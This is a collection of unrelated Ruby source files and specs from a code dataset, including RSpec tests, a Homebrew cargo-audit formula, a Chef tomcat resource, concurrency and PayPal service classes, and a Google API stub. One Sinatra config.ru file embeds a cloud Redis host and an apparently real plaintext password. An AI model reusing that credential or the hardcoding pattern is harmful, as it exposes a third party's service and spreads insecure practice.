expect(helper.session_link).to match(destroy_user_session_path)
end
it "links to the sign_in page when user is not signed in" do
allow(helper).to receive(:user_signed_in?).and_return(false)
allow(helper).to receive(:all_casa_admin_signed_in?).and_return(false)
expect(helper.session_link).to match(new_user_session_path)
end
end
describe "#og_tag" do
subject { helper.og_tag(:title, content: 'Website Title') }
it { is_expected.to eql('<meta property="og:title" content="Website Title">') }
end
end
| 34.755556 | 86 | 0.728261 |
18785e0f3481a778a75d02a5a4cb5ccfc73b761b | 1,233 | RSpec.describe ExhaustPipe do
describe "#tailwind" do
it "takes a list of classes and returns a string" do
classes = ExhaustPipe.tailwind("m-10", "p-10")
expect(classes).to eq "m-10 p-10"
end
it "can be interapolated with erb" do
require "erb"
template = ERB.new <<~TEMPLATE
<div class=<%= ExhaustPipe.tailwind("m-6", "p-4") %>></div>
TEMPLATE
classes = template.result(binding)
expect(classes).to eq "<div class=m-6 p-4></div>\n"
end
it "raises error if two conflicting classes are given" do
expect {
ExhaustPipe.tailwind("p-8", "p-10")
}.to raise_error(ExhaustPipe::TokenConflictError)
end
it "does not raise an error if two unknown classes are passed" do
expect {
ExhaustPipe.tailwind("primary-button", "secondary-button")
}.not_to raise_error
end
context "when raise_error is false" do
around do |ex|
ExhaustPipe.raise_error = false
ex.run
ExhaustPipe.raise_error = true
end
it "does not raise an error with conflicting classes" do
expect {
ExhaustPipe.tailwind("p-8", "p-10")
}.not_to raise_error
end
end
end
end
| 26.804348 | 69 | 0.616383 |
215f19d580aca082fb99f92c59b567d290d75d8b | 2,062 | class CargoAudit < Formula
desc "Audit Cargo.lock files for crates with security vulnerabilities"
homepage "https://rustsec.org/"
url "https://github.com/RustSec/rustsec/archive/cargo-audit/v0.15.2.tar.gz"
sha256 "ed330d33f86036acd27ab8f717903aa515c306d02217aa217c95e2a5fdab1f8e"
license any_of: ["Apache-2.0", "MIT"]
head "https://github.com/RustSec/rustsec.git", branch: "main"
livecheck do
url :stable
regex(%r{^cargo-audit/v?(\d+(?:\.\d+)+)$}i)
end
bottle do
sha256 cellar: :any, arm64_monterey: "540ffaf870aabb254754f0015b58ae4641125702163a2c61cfb898214ab746e8"
sha256 cellar: :any, arm64_big_sur: "a7954b9aff8d7d2ddac189fbd800a5f38e91e6b6259a8c951df47dc11fe97337"
sha256 cellar: :any, monterey: "cdd802d4fcf5d9f916890380d1192e7839793ab5abb64fbd15d25f2d4c35f915"
sha256 cellar: :any, big_sur: "f6337c09242e9f1db0b2952e461558c79ae9b95caa7e76e1483d9027ddf67fb8"
sha256 cellar: :any, catalina: "8383cf15d8e5f83890e46628786b5aa293453d00255a10e963d16567cdad44bf"
sha256 cellar: :any, mojave: "3bc087889fb025d8bd59701e0882d11fec0d4d2678a3fb94a47030d97dc0097b"
sha256 cellar: :any_skip_relocation, x86_64_linux: "52fdf4c76b47d450263ce877a991bc4ea68990e1c3ed7003ae34e6ee1b0ebda7"
end
depends_on "rust" => :build
depends_on "[email protected]"
uses_from_macos "zlib"
on_linux do
depends_on "pkg-config" => :build
end
def install
cd "cargo-audit" do
system "cargo", "install", *std_cargo_args
# test cargo-audit
pkgshare.install "tests/support"
end
end
test do
output = shell_output("#{bin}/cargo-audit audit 2>&1", 2)
assert_predicate HOMEBREW_CACHE/"cargo_cache/advisory-db", :exist?
assert_match "couldn't open Cargo.lock: No such file or directory", output
cp_r "#{pkgshare}/support/base64_vuln/.", testpath
assert_match "error: 1 vulnerability found!", shell_output("#{bin}/cargo-audit audit 2>&1", 1)
end
end
| 41.24 | 123 | 0.70902 |
61278199dac01ecc5473edc221e4465ec695d2ea | 707 | # config.ru
%w{
sinatra
sinatra/json
airrecord
redis
./app
}.each { |r| require r }
enable :sessions
secret = Digest::MD5.hexdigest(SecureRandom.hex)
set :session_secret, secret
configure :production do
disable :show_exceptions
uri = URI.parse("redis://redis-19094.c10.us-east-1-4.ec2.cloud.redislabs.com:19094")
Redis.current = Redis.new(host: uri.host, port: uri.port, password: "9dw81cl47qVkOSpHyU8h0EW6D3G5JPTY")
end
configure :development do
enable :logging
uri = URI.parse("redis://redis-19094.c10.us-east-1-4.ec2.cloud.redislabs.com:19094")
Redis.current = Redis.new(host: uri.host, port: uri.port, password: "9dw81cl47qVkOSpHyU8h0EW6D3G5JPTY")
end
run Sinatra::Application
| 26.185185 | 105 | 0.743989 |
bf9490824e41ff895023a789e403f15584f41e85 | 2,966 | provides :tomcat_service_systemd
provides :tomcat_service, platform: 'fedora'
provides :tomcat_service, platform: %w(redhat centos scientific oracle) do |node| # ~FC005
node['platform_version'].to_f >= 7.0
end
provides :tomcat_service, platform: 'debian' do |node|
node['platform_version'].to_i >= 8
end
provides :tomcat_service, platform_family: 'suse' do |node|
node['platform_version'].to_f >= 13.0
end
provides :tomcat_service, platform: 'ubuntu' do |node|
node['platform_version'].to_f >= 15.10
end
property :instance_name, String, name_property: true
property :install_path, String
property :tomcat_user, String, default: lazy { |r| "tomcat_#{r.instance_name}" }
property :tomcat_group, String, default: lazy { |r| "tomcat_#{r.instance_name}" }
property :env_vars, Array, default: [
{ 'CATALINA_PID' => '$CATALINA_BASE/bin/tomcat.pid' }
]
property :sensitive, [true, false], default: false
action :start do
create_init
service "tomcat_#{new_resource.instance_name}" do
provider Chef::Provider::Service::Systemd
supports restart: true, status: true
action :start
only_if 'command -v java >/dev/null 2>&1 || exit 1'
end
end
action :stop do
service "tomcat_#{new_resource.instance_name}" do
provider Chef::Provider::Service::Systemd
supports status: true
action :stop
only_if { ::File.exist?("/etc/systemd/system/tomcat_#{new_resource.instance_name}.service") }
end
end
action :restart do
service "tomcat_#{new_resource.instance_name}" do
provider Chef::Provider::Service::Systemd
supports status: true
action :restart
end
end
action :disable do
service "tomcat_#{new_resource.instance_name}" do
provider Chef::Provider::Service::Systemd
supports status: true
action :disable
only_if { ::File.exist?("/etc/systemd/system/tomcat_#{new_resource.instance_name}.service") }
end
end
action :enable do
create_init
service "tomcat_#{new_resource.instance_name}" do
provider Chef::Provider::Service::Systemd
supports status: true
action :enable
only_if { ::File.exist?("/etc/systemd/system/tomcat_#{new_resource.instance_name}.service") }
end
end
action_class.class_eval do
def create_init
ensure_catalina_base
template "/etc/systemd/system/tomcat_#{instance_name}.service" do
source 'init_systemd.erb'
sensitive new_resource.sensitive
variables(
instance: new_resource.instance_name,
env_vars: new_resource.env_vars,
install_path: derived_install_path,
user: new_resource.tomcat_user,
group: new_resource.tomcat_group
)
cookbook 'tomcat'
owner 'root'
group 'root'
mode '0644'
notifies :run, 'execute[Load systemd unit file]', :immediately
notifies :restart, "service[tomcat_#{new_resource.instance_name}]"
end
execute 'Load systemd unit file' do
command 'systemctl daemon-reload'
action :nothing
end
end
end
| 27.981132 | 97 | 0.714767 |
6a1a4fdde3b8b6b04fed43303cc74e725e1eefc2 | 792 | # Base class to handle errors when invoking an underlying connection from a makara proxy.
# Each concrete implementation of a MakaraProxy can provide it's own ErrorHandler which should inherit
# from this class.
module Makara
class ErrorHandler
def handle(connection)
yield
rescue Exception => e
if e.is_a?(Makara::Errors::MakaraError)
harshly(e)
else
gracefully(connection, e)
end
end
protected
def gracefully(connection, e)
err = Makara::Errors::BlacklistConnection.new(connection, e)
::Makara::Logging::Logger.log("Gracefully handling: #{err}")
raise err
end
def harshly(e)
::Makara::Logging::Logger.log("Harshly handling: #{e}\n#{e.backtrace.join("\n\t")}")
raise e
end
end
end
| 25.548387 | 102 | 0.664141 |
218cb219297021cf4d8c198529d3caa143c74e9c | 4,354 | require 'thread'
require 'concurrent/constants'
require 'concurrent/errors'
require 'concurrent/ivar'
require 'concurrent/executor/safe_task_executor'
require 'concurrent/options'
module Concurrent
# {include:file:doc/future.md}
#
# @!macro copy_options
#
# @see http://ruby-doc.org/stdlib-2.1.1/libdoc/observer/rdoc/Observable.html Ruby Observable module
# @see http://clojuredocs.org/clojure_core/clojure.core/future Clojure's future function
# @see http://docs.oracle.com/javase/7/docs/api/java/util/concurrent/Future.html java.util.concurrent.Future
class Future < IVar
# Create a new `Future` in the `:unscheduled` state.
#
# @yield the asynchronous operation to perform
#
# @!macro executor_and_deref_options
#
# @option opts [object, Array] :args zero or more arguments to be passed the task
# block on execution
#
# @raise [ArgumentError] if no block is given
def initialize(opts = {}, &block)
raise ArgumentError.new('no block given') unless block_given?
super(NULL, opts.merge(__task_from_block__: block), &nil)
end
# Execute an `:unscheduled` `Future`. Immediately sets the state to `:pending` and
# passes the block to a new thread/thread pool for eventual execution.
# Does nothing if the `Future` is in any state other than `:unscheduled`.
#
# @return [Future] a reference to `self`
#
# @example Instance and execute in separate steps
# future = Concurrent::Future.new{ sleep(1); 42 }
# future.state #=> :unscheduled
# future.execute
# future.state #=> :pending
#
# @example Instance and execute in one line
# future = Concurrent::Future.new{ sleep(1); 42 }.execute
# future.state #=> :pending
def execute
if compare_and_set_state(:pending, :unscheduled)
@executor.post{ safe_execute(@task, @args) }
self
end
end
# Create a new `Future` object with the given block, execute it, and return the
# `:pending` object.
#
# @yield the asynchronous operation to perform
#
# @!macro executor_and_deref_options
#
# @option opts [object, Array] :args zero or more arguments to be passed the task
# block on execution
#
# @raise [ArgumentError] if no block is given
#
# @return [Future] the newly created `Future` in the `:pending` state
#
# @example
# future = Concurrent::Future.execute{ sleep(1); 42 }
# future.state #=> :pending
def self.execute(opts = {}, &block)
Future.new(opts, &block).execute
end
# @!macro ivar_set_method
def set(value = NULL, &block)
check_for_block_or_value!(block_given?, value)
synchronize do
if @state != :unscheduled
raise MultipleAssignmentError
else
@task = block || Proc.new { value }
end
end
execute
end
# Attempt to cancel the operation if it has not already processed.
# The operation can only be cancelled while still `pending`. It cannot
# be cancelled once it has begun processing or has completed.
#
# @return [Boolean] was the operation successfully cancelled.
def cancel
if compare_and_set_state(:cancelled, :pending)
complete(false, nil, CancelledOperationError.new)
true
else
false
end
end
# Has the operation been successfully cancelled?
#
# @return [Boolean]
def cancelled?
state == :cancelled
end
# Wait the given number of seconds for the operation to complete.
# On timeout attempt to cancel the operation.
#
# @param [Numeric] timeout the maximum time in seconds to wait.
# @return [Boolean] true if the operation completed before the timeout
# else false
def wait_or_cancel(timeout)
wait(timeout)
if complete?
true
else
cancel
false
end
end
protected
def ns_initialize(value, opts)
super
@state = :unscheduled
@task = opts[:__task_from_block__]
@executor = Options.executor_from_options(opts) || Concurrent.global_io_executor
@args = get_arguments_from(opts)
end
end
end
| 31.323741 | 111 | 0.632062 |
1d5a116cbef16ea5dcbd03415d619faacf388c6c | 437 | module SupplyDrop
module AsyncEnumerable
def each(&block)
pool = SupplyDrop::ThreadPool.new(SupplyDrop::Util.thread_pool_size)
super do |item|
pool.schedule(item, &block)
end
pool.shutdown
end
def map(&block)
pool = SupplyDrop::ThreadPool.new(SupplyDrop::Util.thread_pool_size)
super do |item|
pool.schedule(item, &block)
end
pool.shutdown
end
end
end
| 21.85 | 74 | 0.640732 |
871729ec7dde34e811e6b98cdb1307885b90cca2 | 1,260 | require 'spec_helper'
module Spree
module Wombat
describe Handler::AddShipmentHandler do
let(:message) {::Hub::Samples::Shipment.request}
let(:handler) { Handler::AddShipmentHandler.new(message.to_json) }
describe "process" do
context "with all reference data present" do
let!(:order) { create(:order_with_line_items, number: message["shipment"]["order_id"]) }
let!(:stock_location) { create(:stock_location, name: 'default')}
let!(:shipping_method) { create(:shipping_method, name: 'UPS Ground (USD)')}
let!(:country) { create(:country) }
let!(:state) { create(:state, :country => country, name: "California", abbr: "CA") }
before do
Spree::Variant.stub(:find_by_sku).and_return(order.variants.first)
end
it "will add a new shipment to the order" do
expect{handler.process}.to change{order.reload.shipments.count}.by(1)
end
it "will return a proper message" do
responder = handler.process
expect(responder.summary).to match /Added shipment H.{11} for order R154085346/
expect(responder.code).to eql 200
end
end
end
end
end
end
| 31.5 | 98 | 0.615873 |
abe8180e359771532fd0acd109d3ca37ec6bb583 | 1,348 | # encoding: utf-8
# This file is autogenerated. Do not edit it manually.
# If you want change the content of this file, edit
#
# /spec/fixtures/responses/whois.thnic.co.th/th/status_available.expected
#
# and regenerate the tests with the following rake task
#
# $ rake spec:generate
#
require 'spec_helper'
require 'whois/parsers/whois.thnic.co.th.rb'
describe Whois::Parsers::WhoisThnicCoTh, "status_available.expected" do
subject do
file = fixture("responses", "whois.thnic.co.th/th/status_available.txt")
part = Whois::Record::Part.new(body: File.read(file))
described_class.new(part)
end
describe "#status" do
it do
expect(subject.status).to eq(:available)
end
end
describe "#available?" do
it do
expect(subject.available?).to eq(true)
end
end
describe "#registered?" do
it do
expect(subject.registered?).to eq(false)
end
end
describe "#created_on" do
it do
expect(subject.created_on).to eq(nil)
end
end
describe "#updated_on" do
it do
expect(subject.updated_on).to eq(nil)
end
end
describe "#expires_on" do
it do
expect(subject.expires_on).to eq(nil)
end
end
describe "#nameservers" do
it do
expect(subject.nameservers).to be_a(Array)
expect(subject.nameservers).to eq([])
end
end
end
| 22.098361 | 76 | 0.675816 |
626e7dc0087c6607918ec767f92648f8bd34bd70 | 126 | module Attractor
module Rails
class Engine < ::Rails::Engine
isolate_namespace Attractor::Rails
end
end
end
| 15.75 | 40 | 0.698413 |
1a18943f9a60efce35e15d484ff194247dfec4a9 | 255 | require "lita-away"
require "lita/rspec"
# A compatibility mode is provided for older plugins upgrading from Lita 3. Since this plugin
# was generated with Lita 4, the compatibility mode should be left disabled.
Lita.version_3_compatibility_mode = false
| 36.428571 | 93 | 0.803922 |
91c154f2bcf6ae9a5ee8bfbffdceb43b21f50d96 | 2,064 | Puppet::Type.newtype(:pg_role) do
@doc = "Manages a PostgreSQL role as a puppet resource"
newparam(:name) do
desc "The name of the role"
isnamevar
end
ensurable
newproperty(:password) do
desc "The hashed password of the database user"
newvalues :absent, /^md5[0-9a-f]+$/
validate do |value|
unless value == :absent or value == 'absent' or value =~ /^md5[0-9a-f]+$/
raise Puppet::Error, "Passing a password in plain text is invalid. The password has to be specified as a hash and must start with 'md5'"
end
end
end
newproperty(:superuser) do
desc "If set to `true`, the new role will be a superuser, who can override all access restrictions within the database. Superuser status is dangerous and should be used only when really needed."
newvalues(:true, :false)
aliasvalue 'yes', :true
aliasvalue 'no', :false
end
newproperty(:createdb) do
desc "If set to `true`, the role being defined will be allowed to create new databases. Specifying `false` will deny the new role the ability to create databases."
newvalues(:true, :false)
aliasvalue 'yes', :true
aliasvalue 'no', :false
end
newproperty(:createrole) do
desc "If set to `true`, the new role will be permitted to create new roles (that is, execute CREATE ROLE). The role will also be able to alter and drop other roles."
newvalues(:true, :false)
aliasvalue 'yes', :true
aliasvalue 'no', :false
end
newproperty(:inherit) do
desc "If set to `true`, the new role inherits the privileges of roles it is a member of."
newvalues(:true, :false)
aliasvalue 'yes', :true
aliasvalue 'no', :false
end
newproperty(:login) do
desc "If set to `true`, the role will be allowed to log in. A role having the LOGIN attribute can be thought of as a user. Roles without this attribute are useful for managing database privileges, but are not users in the usual sense of the word."
newvalues(:true, :false)
aliasvalue 'yes', :true
aliasvalue 'no', :false
end
end
| 33.836066 | 251 | 0.688953 |
ede8c2fcc26e1647e7bf50262bdabff8ed77340a | 521 | $LOAD_PATH.unshift File.expand_path('../lib', __FILE__)
require 'funtools'
Gem::Specification.new do |s|
s.name = 'funtools'
s.version = Funtools::VERSION
s.description = 'Tools to assist in programming in a more functional style'
s.summary = 'Functional programming tools'
s.authors = ['Tina Wuest']
s.email = '[email protected]'
s.homepage = 'https://github.com/wuest/funtools'
s.license = 'MIT'
s.required_ruby_version = '>= 1.9.3'
s.files = `git ls-files lib`.split("\n")
end
| 27.421053 | 77 | 0.658349 |
f7c9da04de7dbef2ea42d6fc30c6f905dd9b4fbd | 205 | FactoryBot.define do
factory :donation do
name { Faker::Name.name }
email { Faker::Internet.email }
amount { Faker::Number.between(from: 1, to: 5000) }
frequency { 'One Time' }
end
end
| 22.777778 | 55 | 0.643902 |
ffd20b64fe302fc4a8f7fef0de0c759b3110ede7 | 709 | require "language/node"
class Marked < Formula
desc "Markdown parser and compiler built for speed"
homepage "https://marked.js.org/"
url "https://registry.npmjs.org/marked/-/marked-3.0.0.tgz"
sha256 "30b2c3f787c70697f14e6f5bfbd2d066e02d5b121bbea637ecb4a59dd7dcfa60"
license "MIT"
bottle do
sha256 cellar: :any_skip_relocation, all: "61b34f22d106cba37277e74ed4d894d8266acb65d7a660d2a5bd8b1c861cab76"
end
depends_on "node"
def install
system "npm", "install", *Language::Node.std_npm_install_args(libexec)
bin.install_symlink Dir["#{libexec}/bin/*"]
end
test do
assert_equal "<p>hello <em>world</em></p>", pipe_output("#{bin}/marked", "hello *world*").strip
end
end
| 28.36 | 112 | 0.736248 |
abc75f98a75d377217f67d270f22434f405c58ac | 14,594 | module PaypalService::API
class Payments
# Include with_success for wrapping requests and responses
include RequestWrapper
attr_reader :logger
MerchantData = PaypalService::DataTypes::Merchant
TokenStore = PaypalService::Store::Token
PaymentStore = PaypalService::Store::PaypalPayment
Lookup = PaypalService::API::Lookup
Worker = PaypalService::API::Worker
def initialize(events, merchant, logger = PaypalService::Logger.new)
@logger = logger
@events = events
@merchant = merchant
end
# For RequestWrapper mixin
def paypal_merchant
@merchant
end
# The API implementation
#
## POST /payments/request
def request(community_id, create_payment, async: false)
Lookup.with_account(
community_id, create_payment[:merchant_id]
) do |m_acc|
if (async)
proc_token = Worker.enqueue_payments_op(
community_id: community_id,
transaction_id: create_payment[:transaction_id],
op_name: :do_request,
op_input: [community_id, create_payment, m_acc])
proc_status_response(proc_token)
else
do_request(community_id, create_payment, m_acc)
end
end
end
def do_request(community_id, create_payment, m_acc)
request = MerchantData.create_set_express_checkout_order(
create_payment.merge({
receiver_username: m_acc[:payer_id],
invnum: invnum(community_id, create_payment[:transaction_id])}))
with_success(community_id, create_payment[:transaction_id],
request,
error_policy: {
codes_to_retry: ["10001", "x-timeout", "x-servererror"],
try_max: 3
}
) do |response|
TokenStore.create({
community_id: community_id,
token: response[:token],
transaction_id: create_payment[:transaction_id],
merchant_id: m_acc[:person_id],
item_name: create_payment[:item_name],
item_quantity: create_payment[:item_quantity],
item_price: create_payment[:item_price] || create_payment[:order_total],
express_checkout_url: response[:redirect_url]
})
Result::Success.new(
DataTypes.create_payment_request({
transaction_id: create_payment[:transaction_id],
token: response[:token],
redirect_url: response[:redirect_url]}))
end
end
def get_request_token(community_id, token)
Lookup.with_token(community_id, token) do |token|
Result::Success.new(token)
end
end
## POST /payments/request/cancel?token=EC-7XU83376C70426719
def request_cancel(community_id, token_id)
token = TokenStore.get(community_id, token_id)
unless (token.nil?)
TokenStore.delete(community_id, token[:transaction_id])
#trigger callback for request cancelled
@events.send(:request_cancelled, :success, token)
Result::Success.new
else
#Handle errors by logging, because request cancellations are async (direct cancels + scheduling)
@logger.warn("Tried to cancel non-existent request: [token: #{token_id}, community: #{community_id}]")
Result::Error.new("Tried to cancel non-existent request: [token: #{token_id}, community: #{community_id}]")
end
end
## POST /payments/:community_id/create?token=EC-7XU83376C70426719
def create(community_id, token, async: false)
Lookup.with_token(community_id, token) do |token|
if (async)
proc_token = Worker.enqueue_payments_op(
community_id: community_id,
transaction_id: token[:transaction_id],
op_name: :do_create,
op_input: [community_id, token])
proc_status_response(proc_token)
else
do_create(community_id, token)
end
end
end
def do_create(community_id, token)
payment = Lookup.get_payment_by_token(token)
# The process either starts by creating a new payment...
if (payment.nil?)
payment_res = create_payment(token)
if (payment_res[:success])
authorize_payment(community_id, payment_res[:data])
else
payment_res
end
# ... or continues from a previously created but not yet authorized payment
else
authorize_payment(community_id, payment)
end
end
## POST /payments/:community_id/:transaction_id/full_capture
def full_capture(community_id, transaction_id, info, async: false)
Lookup.with_payment(community_id, transaction_id, [[:pending, :authorization]]) do |payment, m_acc|
if (async)
proc_token = Worker.enqueue_payments_op(
community_id: community_id,
transaction_id: transaction_id,
op_name: :do_full_capture,
op_input: [community_id, transaction_id, info, payment, m_acc])
proc_status_response(proc_token)
else
do_full_capture(community_id, transaction_id, info, payment, m_acc)
end
end
end
def do_full_capture(community_id, transaction_id, info, payment, m_acc)
with_success(community_id, transaction_id,
MerchantData.create_do_full_capture({
receiver_username: m_acc[:payer_id],
authorization_id: payment[:authorization_id],
payment_total: info[:payment_total],
invnum: invnum(community_id, transaction_id)
}),
error_policy: {
codes_to_retry: ["10001", "x-timeout", "x-servererror"],
try_max: 5,
finally: (method :void_failed_payment).call(payment, m_acc)
}
) do |payment_res|
# Save payment data to payment
payment = PaymentStore.update(
community_id,
transaction_id,
payment_res
)
payment_entity = DataTypes.create_payment(payment.merge({ merchant_id: m_acc[:person_id] }))
# Trigger payment_updated event
@events.send(:payment_updated, :success, payment_entity)
# Return as payment entity
Result::Success.new(payment_entity)
end
end
## GET /payments/:community_id/:transaction_id
def get_payment(community_id, transaction_id)
Lookup.with_payment(community_id, transaction_id) do |payment, m_acc|
Result::Success.new(DataTypes.create_payment(payment.merge({ merchant_id: m_acc[:person_id] })))
end
end
## POST /payments/:community_id/:transaction_id/void
def void(community_id, transaction_id, info, async: false)
Lookup.with_payment(community_id, transaction_id, [[:pending, nil]]) do |payment, m_acc|
if (async)
proc_token = Worker.enqueue_payments_op(
community_id: community_id,
transaction_id: transaction_id,
op_name: :do_void,
op_input: [community_id, transaction_id, info, payment, m_acc])
proc_status_response(proc_token)
else
do_void(community_id, transaction_id, info, payment, m_acc)
end
end
end
def do_void(community_id, transaction_id, info, payment, m_acc)
void_payment(
community_id,
transaction_id,
payment,
:success,
m_acc,
info[:note])
end
## POST /payments/:community_id/:transaction_id/refund
def refund(community_id, transaction_id)
raise NoMethodError.new("Not implemented")
end
## Not part of the public API, used by rake task to retry and clean unfinished orders
def retry_and_clean_tokens(clean_time_limit)
TokenStore.get_all.each do |token|
response = create(token.community_id, token.token)
if(!response[:success] && token.created_at < clean_time_limit)
request_cancel(token.community_id, token.token)
end
end
end
private
# Reusable bits of the API operations
#
def create_payment(token)
Lookup.with_merchant_account(token[:community_id], token) do |m_acc|
with_success(token[:community_id], token[:transaction_id],
MerchantData.create_get_express_checkout_details(
{ receiver_username: m_acc[:payer_id], token: token[:token] }
),
error_policy: {
codes_to_retry: ["10001", "x-timeout", "x-servererror"],
try_max: 3,
finally: method(:handle_failed_create_payment).call(token),
}
) do |ec_details|
# Validate that the buyer accepted and we have a payer_id now
if (ec_details[:payer_id].nil?)
return Result::Error.new("Payment has not been accepted by the buyer.")
end
with_success(token[:community_id], token[:transaction_id],
MerchantData.create_do_express_checkout_payment({
receiver_username: m_acc[:payer_id],
token: token[:token],
payer_id: ec_details[:payer_id],
order_total: ec_details[:order_total],
item_name: token[:item_name],
item_quantity: token[:item_quantity],
item_price: token[:item_price],
invnum: invnum(token[:community_id], token[:transaction_id])
}),
error_policy: {
codes_to_retry: ["10001", "x-timeout", "x-servererror"],
try_max: 3,
finally: (method :handle_failed_create_payment).call(token)
}
) do |payment_res|
# Save payment
payment = PaymentStore.create(
token[:community_id],
token[:transaction_id],
ec_details.merge(payment_res))
payment_entity = DataTypes.create_payment(payment.merge({ merchant_id: m_acc[:person_id] }))
# Send event payment_crated
@events.send(:payment_created, :success, payment_entity)
# Return as payment entity
Result::Success.new(payment_entity)
end
end
end
end
def authorize_payment(community_id, payment)
Lookup.with_payment(community_id, payment[:transaction_id], [[:pending, :order]]) do |payment, m_acc|
with_success(community_id, payment[:transaction_id],
MerchantData.create_do_authorization({
receiver_username: m_acc[:payer_id],
order_id: payment[:order_id],
authorization_total: payment[:order_total]
}),
error_policy: {
codes_to_retry: ["10001", "x-timeout", "x-servererror"],
try_max: 5,
finally: (method :handle_failed_authorization).call(payment, m_acc)
}
) do |auth_res|
# Delete the token, we have now completed the payment request
TokenStore.delete(community_id, payment[:transaction_id])
# Save authorization data to payment
payment = PaymentStore.update(community_id, payment[:transaction_id], auth_res)
payment_entity = DataTypes.create_payment(payment.merge({ merchant_id: m_acc[:person_id] }))
# Trigger callback for authorized
@events.send(:payment_updated, :success, payment_entity)
# Return as payment entity
Result::Success.new(payment_entity)
end
end
end
def void_payment(community_id, transaction_id, payment, flow, m_acc, note = nil)
with_success(community_id, transaction_id,
MerchantData.create_do_void({
receiver_username: m_acc[:payer_id],
# Always void the order, it automatically voids any authorization connected to the payment
transaction_id: payment[:order_id],
note: note
}),
error_policy: {
codes_to_retry: ["10001", "x-timeout", "x-servererror"],
try_max: 5
}
) do |void_res|
with_success(community_id, transaction_id, MerchantData.create_get_transaction_details({
receiver_username: m_acc[:payer_id],
transaction_id: payment[:order_id],
})) do |payment_res|
payment = PaymentStore.update(
community_id,
transaction_id,
payment_res)
payment_entity = DataTypes.create_payment(payment.merge({ merchant_id: m_acc[:person_id] }))
# Trigger payment_updated
@events.send(:payment_updated, flow, payment_entity)
Result::Success.new(payment_entity)
end
end
end
def invnum(community_id, transaction_id)
"#{community_id}-#{transaction_id}"
end
def proc_status_response(proc_token)
Result::Success.new(
DataTypes.create_process_status({
process_token: proc_token[:process_token],
completed: proc_token[:op_completed],
result: proc_token[:op_output]}))
end
# Error handlers
#
def handle_failed_create_payment(token)
-> (cid, txid, request, err_response) do
data =
if err_response[:error_code] == "10486"
{redirect_url: token[:express_checkout_url]}
else
request_cancel(cid, token[:token])
nil
end
log_and_return(cid, txid, request, err_response, data || {})
end
end
def handle_failed_authorization(payment, m_acc)
-> (cid, txid, request, err_response) do
if err_response[:error_code] == "10486"
# Special handling for 10486 error. Return error response and do NOT void.
token = PaypalService::Store::Token.get_for_transaction(payment[:community_id], payment[:transaction_id])
redirect_url = append_order_id(remove_token(token[:express_checkout_url]), payment[:order_id])
log_and_return(cid, txid, request, err_response, {redirect_url: "#{redirect_url}"})
else
void_failed_payment(payment, m_acc).call(payment[:community_id], payment[:transaction_id], request, err_response)
end
end
end
def void_failed_payment(payment, m_acc)
-> (cid, txid, request, err_response) do
void_payment(cid, txid, payment, :error, m_acc)
# Return original error
log_and_return(cid, txid, request, err_response)
end
end
def append_order_id(url_str, order_id)
URLUtils.append_query_param(url_str, "order_id", order_id)
end
def remove_token(url_str)
URLUtils.remove_query_param(url_str, "token")
end
end
end
| 34.501182 | 123 | 0.634028 |
f8789e9f07b49abb07c2c929b4f355b53bc25ce2 | 3,147 | require File.expand_path(File.dirname(__FILE__) + '/../spec_helper')
include Moo::Model
describe Moo::Model::ImageData do
describe 'initialize' do
d = ImageData.new
[:link_id, :image_box, :resource_uri, :image_store_file_id].each do |att|
it "sets #{att.to_s} to nil" do
d.send(att).should == nil
end
end
it "sets enhance to false" do
d = ImageData.new
d.enhance.should === false
end
end
describe 'type' do
it "returns 'imageData'" do
d = ImageData.new
d.type.should == 'imageData'
end
end
describe "image_box=" do
it "sets the value of image_box" do
d = ImageData.new
b = BoundingBox.new
d.image_box = b
d.image_box.should == b
end
it "complains if value isn't a BoundingBox" do
d = ImageData.new
expect { d.image_box = 'woof' }.to raise_error ArgumentError
end
end
describe "resource_uri=" do
it "sets the value of resource_uri" do
d = ImageData.new
d.resource_uri = 'woof'
d.resource_uri.should == 'woof'
end
it "complains if value not a string" do
d = ImageData.new
expect { d.resource_uri = 123 }.to raise_error ArgumentError
end
end
describe "image_store_file_id=" do
it "sets the value of image_store_file_id" do
d = ImageData.new
d.image_store_file_id = 'woof'
d.image_store_file_id.should == 'woof'
end
it "complains if value not a string" do
d = ImageData.new
expect { d.image_store_file_id = 123 }.to raise_error ArgumentError
end
end
describe "enhance=" do
it "sets the value of enhance" do
d = ImageData.new
d.enhance = true
d.enhance.should === true
end
it "complains if value not a boolean" do
d = ImageData.new
expect { d.enhance = 'woof woof' }.to raise_error ArgumentError
end
end
describe "to_hash" do
it "should represent the data in an image_data object" do
d = ImageData.new
b = BoundingBox.new
b.centre = [20,40]
b.width = 20
b.height = 30
b.angle = 40
d.image_box = b
d.link_id = 'some_link_id'
d.resource_uri = 'abc://123'
d.enhance = false
expected = {
type: "imageData",
linkId: "some_link_id",
imageBox: b.to_hash,
resourceUri: 'abc://123',
enhance: false
}
d.to_hash.should == expected
end
end
describe "from_hash" do
it "loads data into an ImageData object from a hash" do
b = BoundingBox.new
b.centre = [20,40]
b.width = 20
b.height = 30
b.angle = 40
hash = {
type: "imageData",
linkId: "some_link_id",
imageBox: b.to_hash,
resourceUri: 'abc://123',
imageStoreFileId: 'wxyz-blah-blah',
enhance: true
}
d = ImageData.new
d.from_hash(hash)
d.image_box.to_hash.should == b.to_hash
d.link_id.should == 'some_link_id'
d.resource_uri.should == 'abc://123'
d.image_store_file_id.should == 'wxyz-blah-blah'
d.enhance.should == true
end
end
end
| 23.485075 | 77 | 0.601207 |
333b7f4fdbc055af5fb595b95dea0307fbf4f16e | 2,549 | # Copyright 2015 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'google/apis/cloudsearch_v1/service.rb'
require 'google/apis/cloudsearch_v1/classes.rb'
require 'google/apis/cloudsearch_v1/representations.rb'
module Google
module Apis
# Cloud Search API
#
# Cloud Search provides cloud-based search capabilities over G Suite data. The
# Cloud Search API allows indexing of non-G Suite data into Cloud Search.
#
# @see https://developers.google.com/cloud-search/docs/guides/
module CloudsearchV1
VERSION = 'V1'
REVISION = '20200819'
# Index and serve your organization's data with Cloud Search
AUTH_CLOUD_SEARCH = 'https://www.googleapis.com/auth/cloud_search'
# Index and serve your organization's data with Cloud Search
AUTH_CLOUD_SEARCH_DEBUG = 'https://www.googleapis.com/auth/cloud_search.debug'
# Index and serve your organization's data with Cloud Search
